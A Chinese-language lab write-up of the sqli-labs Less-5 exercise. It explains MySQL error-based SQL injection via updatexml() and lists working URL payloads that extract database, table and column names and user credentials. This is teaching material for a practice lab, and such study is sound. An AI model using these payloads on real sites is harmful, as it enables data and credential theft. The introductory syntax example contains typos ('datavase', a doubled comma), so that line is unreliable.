Sqlilabs第五关采用报错注入的方式注入。
首先解释一下报错注入。报错注入使用的mysql函数是updatexml(XML_document, XPath_string, new_value),可以看到这个函数中有三个参数,要利用的是第二个参数XPath_string,这个参数要求必须使Xpath类型的字符串,如果不符合要求就会报错,并且将这个参数的内容显示在页面中,比如在这个参数中拼接'~'符号就会显示错误。利用方式是可以在这个参数中拼接select语句来获得要查询的内容,比如version()版本信息,database()数据库名,table_name,column_name等信息。利用形式为:
updatexml(1,,concat(0x7e,(select datavase())),1)其中第一个和第三个参数可以随便写,第二个参数中的0x7e就是符号~,这样就会报错并且显示数据库的名字。
接下来看sqlilabs less-5的注入过程。
首先进入之后看到页面,并输入/?id=1后显示
接着尝试/?id=1 and 1=1和/?id=1 and 1=2
发现回显结果是一样的都没有问题,这时就要考虑字符型注入,加个引号试试
这时出现了错误信息,说明拼接的sql语句中是有引号的,而且后面还有limit,用--+将其注释掉
注入成功,接下来使用order by 确定有几个字段,发现有三个,再使用联合查询看是否有回显
发现没有回显,这时要考虑报错注入。
构造/?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+
得到当前数据库名为security,接着获得表名
构造/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+
查询users表的字段名
/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),3)--+
接下来查询uname和password的数据,这里要注意updatexml函数的回显有长度限制,因此可以选择使用limit或者substr函数来解决。这里使用limit。
获取第5个用户的用户名和密码
/?id=1' and updatexml(1,concat(0x7e,(select username from users limit 4,1)),1)--+
/?id=1' and updatexml(1,concat(0x7e,(select password from users limit 4,1)),1)--+
新学习知识点报错注入原理和使用方式,以及注入实操过程。
学习过程感谢以下作者: